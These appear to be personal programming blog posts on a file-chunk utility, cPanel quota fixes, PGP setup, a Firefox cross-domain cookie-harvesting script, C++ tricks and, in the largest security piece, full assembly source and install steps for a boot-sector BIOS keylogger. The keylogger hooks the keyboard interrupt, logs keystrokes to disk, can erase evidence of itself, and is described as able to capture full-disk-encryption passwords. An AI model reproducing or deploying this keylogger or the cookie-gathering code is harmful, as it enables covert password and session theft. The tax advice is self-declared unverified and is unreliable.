I needed a command line utility for Bash (for both Windows and Linux) that only outputs bytes between 2 points in a file to STDOUT. head and tail weren’t really cutting it so I figured I’d throw something together. Below is the source code for the result, which I call chunk (Windows Executable).
I compiled the file as c++, but it should be c99 compatible. The file has been tested as compilable for: GCC4 on Slackware, GCC3 on Red Hat, and GCC3 on MingW (Windows [WIN32 should be defined by the compiler]).
Chunk outputs bytes between 2 points in a file to STDOUT. The parameters are:
1) The file
2) The byte offset to start at (hex is supported like 0xA)
3) The number of bytes to output. If not given, the end of the file is assumed.
The source is as follows:
//Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright). Licensed under Dakusan License v2.0 (http://www.castledragmire.com/Misc/Software_Licenses/Dakusan_License_v2.0.php).
//See http://www.castledragmire.com/Posts/chunk for more information
#define __LARGE64_FILES
#include <stdio.h>
#include <stdlib.h> //strtoull
#ifdef WIN32 //STDOUT only needs to be set to binary mode in windows
#include <io.h> //_setmode
#include <fcntl.h> //_O_BINARY
#endif
typedef unsigned long long UINT64;
const UINT64 MaxSizeToRead=1024*1024*10; //The maximum number of bytes to read at a time to our buffer (Must be < 2^31)
UINT64 GetNumberFromString(const char* S) //Extract both hexidecimal and decimal numbers from a string
{
bool IsHex=S[0]=='0' && (S[1]|32=='x'); //If string starts as 0x, then is a hex number
return strtoull(S+(IsHex ? 2 : 0), NULL, IsHex ? 16 : 10); //Hex number starts after 2 characters and uses base 16
}
int main(int argc, char *argv[], char *envp[])
{
//Determine if proper number of parameters are passed, and if not, output help info
if(argc!=3 && argc!=4)
return fprintf(stderr, "Chunk outputs bytes between 2 points in a file to STDOUT. The parameters are:\n1) The file\n2) The byte offset to start at (hex is supported like 0xA)\n3) The number of bytes to output. If not given, the end of the file is assumed.\n") & 0;
//Open the file and get its length
FILE *TheFile=fopen64(argv[1], "rb");
if(TheFile==NULL)
return fprintf(stderr, "File not found or cannot open file\n") & 0;
fseeko64(TheFile, 0, SEEK_END); //Get the length by seeking to the end
UINT64 FileSize=ftello64(TheFile);
//Determine the requested start offset
UINT64 Offset=GetNumberFromString(argv[2]), SizeToOutput;
if(Offset>=FileSize)
{
fprintf(stderr, "Offset is larger than file's size\n");
fclose(TheFile);
return 0;
}
//Determine the size to read
if(argc==3) //If no final parameter, read to the end of the file
SizeToOutput=FileSize-Offset;
else //Determine from the 3rd parameter
{
SizeToOutput=GetNumberFromString(argv[3]);
if(Offset+SizeToOutput>FileSize)
{
fprintf(stderr, "Requested size is larger than the file, truncating to end of file\n");
SizeToOutput=FileSize-Offset;
}
else if(!SizeToOutput) //If nothing to output, exit prematurely
{
fclose(TheFile);
return 1;
}
}
//Output requested data 10MB at a time from the file to STDOUT
char *Buffer=new char[SizeToOutput>MaxSizeToRead ? MaxSizeToRead : SizeToOutput]; //Only allocate as many bytes to our read buffer as is necessary
fseeko64(TheFile, Offset, SEEK_SET); //Seek to the beginning read offset of our file
#ifdef WIN32 //STDOUT only needs to be set to binary mode in windows
_setmode(_fileno(stdout), _O_BINARY);
#endif
while(SizeToOutput) //Keep reading and outputting until requested data is complete
{
UINT64 SizeToRead=SizeToOutput>MaxSizeToRead ? MaxSizeToRead : SizeToOutput; //Number of bytes to read and write
fread(Buffer, SizeToRead, 1, TheFile); //Read the data
fwrite(Buffer, SizeToRead, 1, stdout); //Write the data to STDOUT
SizeToOutput-=SizeToRead; //Decrease number of bytes we still need to read
}
//Cleanup
delete[] Buffer;
fclose(TheFile);
return 1;
}
Quota problems are annoying and expensive to debug :-\
For a really long time I’ve seen many cPanel servers have improper space reporting and quota problems due to the VirtFS system, which is used for the “jailshell” login for users (if a user logs into SSH [or presumably Telnet] whom has their shell set to “/usr/local/cpanel/bin/jailshell” in “/etc/passwd”). Whenever a user logs into their jailshell, it creates a virtual directory structure to chroot them into, and “hard links” their home directory inside this virtfs directory, which doubles their apparent hard disk usage from their home directory (does not include their sql files, for example). Sometimes, the virtfs directory is not unmounted (presumably if the user does not log out correctly, which I have not confirmed), so the doubled hard disk usage is permanent, causing them to go over their quota if a full quota update is ran.
I had given this up as a lost cause a while back, because all the information I could find on the Internet said to just leave it alone and not worry about it, and that it couldn’t be fixed. I picked the problem back up today when one of our servers decided to do a quota check update and a bunch of accounts went over. It seems a script was added recently at “/scripts/clear_orphaned_virtfs_mounts” that fixes the problem :-) (not sure when it was added, but the creation, modification, and access times for the files on all 3 of my cPanel servers shows as today...). Surprisingly, I could not find this file documented or mentioned anywhere on the Internet, and still no mentions anywhere on how to fix this problem.
So the simplest way to fix the problem is to run
/scripts/clear_orphaned_virtfs_mounts --clearall
I did some digging and found that that script calls the function “clean_user_virtfs” in “/scripts/cPScript/Filesys/Virtfs”, so you can just clear one user directory “properly” by running
cd /scripts
perl -e 'use cPScript::Filesys::Virtfs();cPScript::Filesys::Virtfs::clean_user_virtfs("ACCOUNTNAME");'
All this script really does is unmount the home directory inside the jailed failed system (so the hard link is done through a “mount” that doesn’t show up in “df”... interesting). So the problem can also be fixed by
umount -f /home/virtfs/USERNAME/home/USERNAME
After this is done, a simple
/scripts/fixquotas
can be used to set the users’ quotas back to what they should be. Do note that this operation goes through every file on the file system to count users’ disk usages.
So I recently finally went ahead and got onto the Facebook bandwagon because people kept bugging me about it ;-) (among other reasons), of which I had been trying to stay away from since 2003 when Facebook didn’t allow me to register after I lost my college email due to dropping out.
While it is a nice open system with lots of things to do and some fine grained control, it has a lot to be left desired. While the privacy controls is kind of OK, it could be much much more fine tuned (and the most recent privacy update barely helped that out, if not making things worse).
The thing that has frustrated me the most though is trying to make my own Facebook applications. The documentation and its organization is TERRIBLE (often outdated), and there are so many functions the API just won’t let you do (a lot of stuff with photos, for example). The FQL (Facebook Query Language, like SQL) language doesn’t even let you do updates/inserts of information, just gathering of information (SELECT statements). One part that really pushed me over the edge on the decision to not work with it however is that it looks like it’s constantly being updated and “refined”, with aspects being added or depreciated so often, that it’s just not worth dealing with (though I have to admit I haven’t worked with it long at all, so don’t really have a good sampling ^_^; ). It’s no fun making an application and then having to reprogram it months later just because Facebook can’t get their act together. While reprogramming wouldn’t be a big deal, most likely, I have a thing about going back to old code and updating it unless I did something wrong or want to add a new feature.
While I would still recommend the site to people on general principal (not that everyone isn’t already on it), as it is nicely laid out with most things people need to stay in touch, it’s still not nearly as refined as it should be for the sheer user-base size and scope of the website.
Since I just released my AJAX Library, I thought I’d post a useful script that uses it. The function CrossDomainGetURL below uses the AJAX Library to make requests across domains in Firefox. It takes one more parameter (not in order) than the AJAX Library's GetURL function, which is an array of domains to pull cookies from for the AJAX request.
function GetCookiesFromURL(Domains) //Return all the cookies for Domains specified in the Domains array
{
var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"].getService(Components.interfaces.nsICookieManager); //Requires privileges, which is granted in CrossDomainGetURL
var iter=cookieManager.enumerator, CookieList=[], cookie; //The object used to find all cookies, the final list of cookies, and a temporary object
while(iter.hasMoreElements()) //Loop through all cookies
if(((cookie=iter.getNext()) instanceof Components.interfaces.nsICookie) && Domains.indexOf(cookie.host)!=-1) //If a cookie whose host matches one of our domains
CookieList.push(cookie.name+'='+cookie.value); //Add it to our final list
return CookieList.join("; "); //Return the cookie list for the specified domains
}
function CrossDomainGetURL(URL, Data, CookieDomains, ExtraOptions) //See AJAX Library GetURL function. CookieDomains is an array specifying what domains cookies are pulled from for the AJAX call.
{
//Access universal privileges in Firefox (Required to get cookies for other domains, and to use AJAX with other domains). This functionality is lost as soon as this function loses scope.
try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
catch(e) { return alert('Cannot access browser privileges'); }
if(CookieDomains instanceof Array) //If an array of domains is passed to get cookies from...
{
ExtraOptions=((ExtraOptions instanceof Object) ? ExtraOptions : {}); //Make sure extra options is an object
ExtraOptions.AdditionalHeaders=((ExtraOptions.AdditionalHeaders instanceof Object) ? ExtraOptions.AdditionalHeaders : {}); //Make sure extra options has an additional headers object
ExtraOptions.AdditionalHeaders.Cookie=GetCookiesFromURL(CookieDomains); //Get cookies for the domains
}
return GetURL(URL, Data, ExtraOptions); //Do the AJAX Call
}
I’ve been working on this site for a long time and had been planning on announcing it to my friends and family since its inception. Unfortunately, I always felt it just wasn’t ready yet, so I never got around to it.
The site has now been going for a few years with over 250 pages of content and downloads available for about half of my projects. I have also recently (finally) gotten up the commenting system, forums, and searching the site, so I feel the time is ripe to let everyone know about it that might be interested :-).
Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.
This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.
I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).
Installing works as follows:
Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
Installs the compiled code to the boot loader sector.
When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
It then installs a BIOS interrupthook on the keyboard interrupt (0x9) to call the key logger.
The final step is to execute the original boot loader which is now at the boot loader location in memory.
The key logger works as follows:
When a key is pressed, the key logger code is called.
It first calls the original interrupt 0x9 keyboard handling code.
It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.
The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information
ORG 0x7C00 ;Origin location
;Constants
Start: ;Where the program starts (0x7C00)
SectorSize equ 0x200 ;Size of a sector (and the boot loader)
;User defined constants
;Memory mappings
NewStart equ Start+SectorSize ;Where the boot loader will be copied to in memory for execution
WhereToRecord equ Start+SectorSize*2 ;Where to record key strokes in memory (the save buffer)
;Hard drive mappings
WriteSector equ 60 ;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
OriginalBootLoaderSector equ 61 ;The hard drive sector the original boot loader is written to
EraseEvidence equ 0 ;Boolean dictating whether to restore the original boot loader and clear out where it was copied
;More constants
CodeOffset equ NewStart-Start ;The code is actually offset this amount when copied to the new memory location
;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax
;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9 ;Jump to...
dw CodeOffset ;...Location where code is moved to
;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2 ;Read instruction
mov dl,0x80 ;Drive #0 (0x80-x)
mov al,1 ;1 sector
xor dh,dh ;Head #0
xor ch,ch ;Track #0
mov cl,OriginalBootLoaderSector+1 ;Sector to read from
mov bx,Start ;Memory location to write to
int 0x13 ;BIOS drive function
;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb
;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence ;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence ;If false, do not do so
mov bx,Start ;The buffer to write (which is now the original boot loader)
mov cl,0+1 ;Write to the first sector
call WriteToDrive ;Do the write to restore the original boot loader
mov bx,WhereToRecord ;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1 ;Write to where the original boot loader was stored
call WriteToDrive ;Do the write to erase the backup of the original boot loader
SkipEraseEvidence:
;Hook the keyboard interrupt
cli ;Disable interrupts
mov eax, [es:0x9*4] ;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax ;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset ;Install INT 9 filter
sti ;Enable interrupts
;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;GetKeys:
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys
;Execute the original boot loader
db 0xe9 ;Jump to...
dw -CodeOffset-($-Start)-2 ;...Original start, which now contains the original boot loader
;Keyboard hook
Int9Hook:
pushf ;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
DB 9Ah ;CALL FAR PROC SEGMENT:OFFSET
OriginalInt9Handler dd 0 ;The original Interrupt 9 handler (in segment:offset format [ror 16])
;Save registers and zero out es
pusha
xor bx,bx
mov es,bx
;Get the character we are currently on in the save buffer, and if >512, do not record
mov di,[es:CharacterOn+CodeOffset] ;di=The character we are currently on
cmp di,512
jge SkipInt9
;Loop through the keyboard buffer
mov esi,[es:0x41A] ;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
add esi,0x04000400 ;Beginning and end +=0x400, si=keyboard buffer head
mov ecx,esi
shr ecx,16 ;cx=keyboard buffer tail
mov bx,0x41E ;bx=The beginning of the keyboard buffer
cmp si,cx ;Check if there are no characters to write (head==tail)
je SkipInt9 ;If there are no keys to write, jump to end
WriteKey: ;Save a single keyboard character to our save buffer.
;Save the character
mov al,[es:si] ;Fetch the character, use es:si+1 to save the scancode instead
mov [es:di+WhereToRecord],al ;Save the character
;Update where we are in the save buffer and make sure we are not at the end (>512)
inc di ;Update where we are in the buffer
cmp di,512
jge FinishedKeyboardBuffer
;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
add si,2 ;Move to the next character in the keyboard buffer
cmp si,0x43E ;If we have exceeded the keyboad buffer length...
cmovge si,bx ;...loop back to the beginning
cmp si,cx ;If there are still more characters to write (head<tail)
jl WriteKey ;Write the next character
FinishedKeyboardBuffer:
mov [es:CharacterOn+CodeOffset],di ;Update where we are in the save buffer
;Write the updated keylogger to the harddrive
mov cl,WriteSector+1 ;Sector to write to
mov bx,WhereToRecord
call WriteToDrive
;Clean up from the interrupt
SkipInt9:
popa
iret
;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
WriteToDrive:
mov ah,3 ;Write instruction
mov dl,0x80 ;Drive #0 (0x80-x)
mov al,1 ;1 sector
xor dh,dh ;Head #0
xor ch,ch ;Track #0
int 0x13 ;BIOS drive function
ret ;Return from function
;Variables
CharacterOn dw 0 ;What character we are on in the character buffer
;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.
I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).
I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).
Video Notes:
It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
The boot loader was ran through a virtual machine (VMWare) so I could easily record it.
Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.
Executable stubs can be used by a compiler to create the header section (the beginning section) of an outputted executable by adding the “/stub” switch to the linker.
#pragma comment(linker, "/stub:Stub.exe")
The MSDN Library for MSVC6 has the following to say about it:
The MS-DOS Stub File Name (/STUB:filename) option attaches an MS-DOS stub program to a Win32 program.
A stub program is invoked if the file is executed in MS-DOS. It usually displays an appropriate message; however, any valid MS-DOS application can be a stub program.
Specify a filename for the stub program after a colon (:) on the command line. The linker checks filename to be sure that it is a valid MS-DOS executable file, and issues an error message if the file is not valid. The program must be an .EXE file; a .COM file is invalid for a stub program.
If this option is not used, the linker attaches a default stub program that issues the following message: This program cannot be run in MS-DOS mode.
For the stub to work in XP, the following guidelines must be met:
The first 2 bytes of the stub (Bytes 0-1) need to be “MZ”
Bytes 60-63 (4 bytes) are replaced by the compiler (I have a note that you might want to set this to 0x60000000 [big endian] for some reason)
As long as these guidelines are met, the rest of the stub can be whatever you want :-). For Small Projects, you can even put information here like strings for the executable, which are accessible through the executable virtual address space starting at 0x400000.
I have been using and recommending Thawte’s freeSMIME email certificates for a number of years. Personal email certificates have always been a bit more attractive for me than PGP for communicating securely with other [not always very computer literate] people since they are directly integrated into most [if not all] email clients.
It’s always been nice to be able to sign an email to another person with my certificate, and just tell them to hit the “encrypt” button next time they send me something either of us want encrypted :-) (email clients automatically store a certificate after receiving it, which signing includes).
I have been using PGP for a few years to communicate with multiple people too, and have decided to try and move all my friends/clients over to it too due to the circumstances. Also, PGP has the major advantage of you creating your own private keys instead of a 3rd party (i.e. Thawte) doing it, meaning only you have the key to access emails encrypted to you.
So anywho, here’s the info on getting PGP set up with Thunderbird in Windows for anyone that needs it.
First, of course, you’ll need Thunderbird, which can be downloaded here.
I recommend you always send all your emails in both HTML and Plain Text, so you can have rich text formatting in your emails by default, but lame people that don’t have clients that read HTML are ok too. To do this, go to Menu > Tools > Options > Composition > General > Send Options > In the top box change it to “Send the message in both plain text and HTML”.
When you run GnuPG for the first time, it’ll ask you if you want to generate a key, which you’ll want to do, unless you already have one made that you need to import.
Next, you’ll want to install Enigmail for Thunderbird. After downloaded it, in Thunderbird, go to Menu > Tools > Add-ons > Extensions > Install, and open the .xpi file.
After Thunderbird restarts, go to Menu > OpenPGP > Setup Wizard and step through it. During this setup, I personally suggest changing the following default options:
“Do you want to change a few default settings...” > Yes > Details > Uncheck the following
Disable flowed text
View message body as plain text
Use 8-bit encoding for message sending
Do not compose HTML message
To encrypt mail to other people, or verify a signed message from them, you need their public key file. Some of the ways they can send their public key to you are as follows:
A normal file send, in which case you will need to import it through GnuPG.
You might also be able to retrieve it from a public key server if they put it there, but I am not going to go into that.
If they send it to you through an attachment in an email, and you double click on it in Thunderbird, you will receive a prompt asking if you’d like to import the key.
To encrypt an email to another person, after having their public key, simple go to Menu > OpenPGP > Encrypt Message in the compose window. Make sure to also check Menu > OpenPGP > Use PGP/MIME for This Message so it can send the HTML!
To send your public key to someone go to Menu > OpenPGP > Attach My Public Key in the compose window.
The Google Search API returns a vastly stripped result set compared to using actual Google Search. I have checked and done a bit of research and have not found a good reason for this. And, no, it has nothing to do with local or personalized searches, which has been confirmed by using searches without any kind of cookies or localizations.
My guess is that the Google Search API and normal Google Search itself are just tapping into different result sets from the start :-(.
An example of this problem is as follows: Searching for “Fractal” in the Projects section returns the following results:
Windows support is lacking. The PyWin32 helps fill this gap, but it itself is missing many API calls, doesn’t support Unicode (from what I can find), and has next to no documentation (besides samples).
Starting with Python 2.6, executables are compiled differently and include manifests, which cause some major annoying (and quite undocumented) problems with DLLs that are very unintuitive to fix. I ended up including a manifest and DLL from the “windows/system32” directory in the distribution to fix this.
Interfacing with (C style) shared objects (Windows DLLs and probably Unix Shared Objects) is clunky, especially when structures are involved.
Documentation on many of the standard Python modules is very lacking. After having recently learned Perl, and dealing with its wonderful documentation, this is a bit disappointing. I might be missing something through, because Python is supposed to be able to naturally document itself through comments after function headers...
While inheritance and classes themselves are implemented well, I find the way JavaScript does classes (objects) much easier to work with and more robust. It’s great being able to access any object/class element as both a member “Object.MemberName” or an index “Object['MemberName']”. This also, I think, has a lot to do with the fact that Python is [dynamically] typed, which is wonderful. But from the way the language seems to work (I would need to do more testing), this kind of thing seems like it could easily be implemented. I really just don’t like how lists, dictionaries, and classes are so separated. It’s much more useful how both PHP and JavaScript combine them into one concept.
Even if the language is dynamically typed to help catch errors more naturally, there are other things in the language that can make errors harder to catch, like how variable lookup is done through the whole function stack instead of just at a global and local level.
I find the separation of tuples and lists unneeded. Perl does it more naturally, and in one concept, through dereferencing arrays into lists.
There are many great ideas and implementations in the language though that are wonderful to work with including:
Parameters can be passed, at the same time, through both named parameters and a list of parameters, and can then be retrieved as parameters, lists, and dictionaries.
Unicode support for [probably] all encodings is natively supported. Strings are very easy to work with, even as ASCII. The best part is Python3 (which I have not tinkered with yet) reportedly improved the implementations even more by separating strings into always-Unicode, and binary data (instead of thinking of it as ASCII).
As mentioned above, it is a [dynamically] typed language, which is great for larger projects.
Different number types (floats, ints, unsigned ints, large numbers, etc) work naturally together and extend as they need to. While this gives the language a hit on speed, it does make it very usable.
Since my FileSync Project is still a long way to being where I want it to be and is in a state that makes it annoying to use, I decided to throw together a script that essentially emulates the primary functions of it for what I need. I find it a bit annoying that I’ve never been able to find another good project that does exactly what I want for quick syncing of files over networks :-\. I used to think rsync would be a good solution for it but it’s very... quirky and unstable in certain ways. Not as flexible as I would like. Alas.
Anywho, this PHP script takes 2 file lists and gives you back their differences in a directory tree view. Each file has a data string after it used to tell if the files are different. The data string can be anything you want, but will usually probably be a timestamp or data checksum. The tree view lets you hide files/directories depending on whether each item is only on one side, different, or the same. An example is as follows (List1, List2):
Intuit has lost a customer (and hopefully more than one)
I acquired a copy of Quickbooks Pro 2003 [in 2003] that I have used for accounting since. I have never seen a reason to upgrade because the interface works just fine, and it does everything I need it to. Every time I have had to reinstall it after a format, though, getting it working has been more of a pain.
To install and use the copy of Quickbooks, Intuit (the company that makes Quickbooks and Turbotax) requires a serial key, and then activation via either online or the phone. I used the online activation for at least a year, until it stopped working. After that point, I had to call in whenever I needed to install it, talk to a representative in [most likely] India who can barely speak English, give them my serial number, and get back an activation key.
Most unfortunately, this last time I attempted calling in to activate it they claimed (in what somewhat resembled the English language) my serial key was no longer on file, so I could no longer use my product. Fuck them. I was able to find the information I needed in the registry (of which I make backup copies before formats) of my old computer. I just transferred everything from “HKEY_LOCAL_MACHINE\SOFTWARE\Intuit\QuickBooksRegistration\12.0\pro” to my current registry, and everything worked like a charm.
I was also quite upset after buying TurboTax last year (Home & Business Edition, which isn’t exactly cheap) that I could only use it for 1 year.
Because of both of these incidents, I will never again buy an Intuit product, and I hope no one else who reads this does either.
After discovering the Alamo Draft House’scoolness a few months ago, I’ve been trying to watch what they’re playing to make sure I catch anything I might want to see on the big screen. Unfortunately, it is not easy to get a good quick idea of all the movies playing from their calendar because it shows movies per day with showtimes, making the list repetitive and crowded with extra information.
I decided to throw together a real quick PHP script that would parse their data so I could organize it however I wanted. The final result can be viewed here. The code is as follows:
//The list of calendar pages in format TheaterName=>URL
$PagesToGrab=Array(
'Ritz'=>'http://www.originalalamo.com/Calendar.aspx?l=2',
'Village'=>'http://www.originalalamo.com/Calendar.aspx?l=3',
'South Lamar'=>'http://www.originalalamo.com/Calendar.aspx?l=4'
);
foreach($PagesToGrab as $Name => $URL) //Grab the movies for each theater
{
print "<b>$Name</b><br>"; //Output the theater name
$TheHTML=file_get_contents($URL); //Grab the HTML
$ShowList=Array(); //This will contain the final list of shows and what days they are on
preg_match_all('/<td class="day">.*?<\/td>/', $TheHTML, $DayMatches); //Extract all table cells containing a day's info
foreach($DayMatches[0] as $DayInfo) //Loop over each day's info
{
//Determine the day of month
preg_match('/<a class=\"daynumber\" title=".*?, (.*?),/', $DayInfo, $DayOfMonth);
$DayOfMonth=$DayOfMonth[1];
//Determine all the shows for the day
preg_match_all('/<span class="show"><a href=".*?">(.*?)<\/a>/', $DayInfo, $AllShows);
foreach($AllShows[1] as $Show)
{
$Show=preg_replace('/^\s+|\s+$/', '', $Show); //Remove start and end of line whitespace
if(!isset($ShowList[$Show])) //If show has not yet been added to overall list, add it
$ShowList[$Show]=Array();
$ShowList[$Show][]=$DayOfMonth; //Add this day as a time for the show
}
}
//Output the shows and their days
print '<table>';
foreach($ShowList as $ShowName => $Days)
print "<tr><td>$ShowName</td><td>".implode(', ', $Days).'</td></tr>';
print '</table><br><br>';
}
<? PageFooter(); ?>
</body></html>
As an independent contractor, I have to pay quarterly estimated taxes like any normal business. I just found out however that “quarterly” taxes does not mean every 4 months. The dates quarterly estimated taxes are due are:
(01/15) January 15th
(04/15) April 15th
(06/15) June 15th
(09/15) September 15th
You may note that these are intervals of 3,2,3,4. If you make a late payment accidentally however, don’t fret. According to a recently contacted tax expert, if you make a payment 1 month late, and the next payment 1 month early, the government shouldn’t penalize you.
This tax expert also related that the amount you owe each year for estimated taxes (1/4 this number on each “quarterly payment”) is the LEAST of 2 different numbers:
The amount you paid the previous year
The amount you should owe this year
This means, unless you think you are going to make less during the current year than the previous (which you better be right about or you can be penalized) that you only have to pay estimates on what you paid in total for the previous year.
On a final note, I am not an expert in the tax law field. As a matter of fact, I know next to nothing. This is just information that was relayed to me that I thought I should pass on. I have not fully researched it, so do not take this information for fact.
Since I am now working on making sure all my applications work in both Windows and Linux, I have been having to work a lot more with GCC recently (which I am basically totally switching too). It’s a bit trying having to learn an entirely different toolset after having used the same formula for many many years.
Linux shared objects are a bit different than Window’s DLLs in that all symbols are naturally exported instead of just the ones you specify, among other different behaviors like how the libraries are loaded and unloaded during runtime. The solution to the visibility problem is more recent as far as GCC goes, and is to use the visibility attribute. Symbol visibility in a shared library is very important for both symbol collision and library load time reasons. This means, however, that every functions/symbol needs to be marked as either not visible (for Linux), or exportable (for Windows).
I ran into a rather nasty problem however that I couldn’t find any information on when making a class exportable in a DLL. Basically, I had the following:
A.dll creation
A.h
//Determine whether we are exporting or importing functions from this DLL
#undef DLLEXPORT
#ifdef A_DLL
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT __declspec(dllimport)
#endif
DLLEXPORT class a
{
public:
int x;
void a_foo();
virtual void a_bar();
};
//Determine whether we are exporting or importing functions from this DLL
#undef DLLEXPORT
#ifdef B_DLL
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT __declspec(dllimport)
#endif
DLLEXPORT class b
{
public:
int x;
void b_foo();
virtual void b_bar();
};
The problem that occurred was when only 1 of the DLL files was included on Windows, everything worked fine, but when both were included, I could only access the virtual functions from one of the 2. I was getting an error about “required class export or error due to vtable not being found”.
After many hours of tinkering and fruitless research, I stumbled upon the solution by accident. It turns out I was using the incorrect syntax. The classes should have been defined as “class DLLEXPORT x {}” instead of “DLLEXPORT class x {}”. Why it worked when only 1 of the DLLs was present, but clobbered with multiple DLLs, I have no idea.
I’ve recently been frustrated by the fact that NULL in C++ is actually evaluated as integral 0 instead of a pointer with the value of 0. This problem can be seen in the following example:
class String
{
String(int i) { /* ... */ } //Convert a number to a string
String(char* i){ /* ... */ } //Copy a char* string directly into the class
};
String Foo(NULL); //This would give the string "Foo" the value "0" instead of a char* to (void*)0
The solution I came up with, which my good friend Will Erickson (aka Sarev0k) helped me revise, is as follows:
#undef NULL //If NULL is already defined, get rid of it
struct NULL_STRUCT { template <typename T> operator T*() { return (T*)0; } }; //NULL_STRUCT will return 0 to any pointer
static NULL_STRUCT NULL; //NULL is of type NULL_STRUCT and static (local to the current file)
After coming up with this way of doing it, I found out this concept is already a part of the new C++0x standard as nullptr, but since it is not really out yet, I still need a solution for the current C++ standard.
After getting this to work how I wanted it, I tested it out to make sure it is optimized correctly in compilers. When the compiler knows a value will be 0, it can apply lots of special assembly tricks.
Microsoft Visual C++ got it right by seeing that NULL was just 0 and applying appropriate optimizations, but GCC missed an optimization step and didn’t detect that it was 0 down the whole pipe. GCC, to my knowledge, however, isn’t exactly known for its optimization.
Example code:
BYTE* a=...; //Set a to an arbitrary value (best if brought in via an external method [i.e. stdin] so the compiler doesn’t make assumptions about the variable)
bool b=(a==NULL); //Set to b if a is 0 (NULL)
What MSVC6 outputs (and what it should be after optimization):
test eax,eax //logical and a against itself to determine if it is 0 or not
sete al //Set the lowest byte of eax to 1 if a is 0
What GCC gives
xor edx,edx //Temporarily store 0 in edx for later comparison. This is a 0 trick, but 1 step higher than it could be used at.
cmp edx,eax //Compare a against edx (0)
sete al //Set the lowest byte of eax to 1 if a equals the value in edx
On a side note, it has been quite painful going from using assembly in Microsoft Visual C++ to GCC for 2 reasons:
I hate AT&T (as opposed to Intel) assembly syntax. It is rather clunky to use, and every program I’ve ever used is in Intel syntax (including all the Intel reference documentation). I tried turning on Intel syntax through a flag when compiling through GCC, but it broke GCC. :-\
Having to list which assembly registers are modified/used in the extended assembly syntax. This interface is also very clunky and, I have found, prone to bugs and problems.
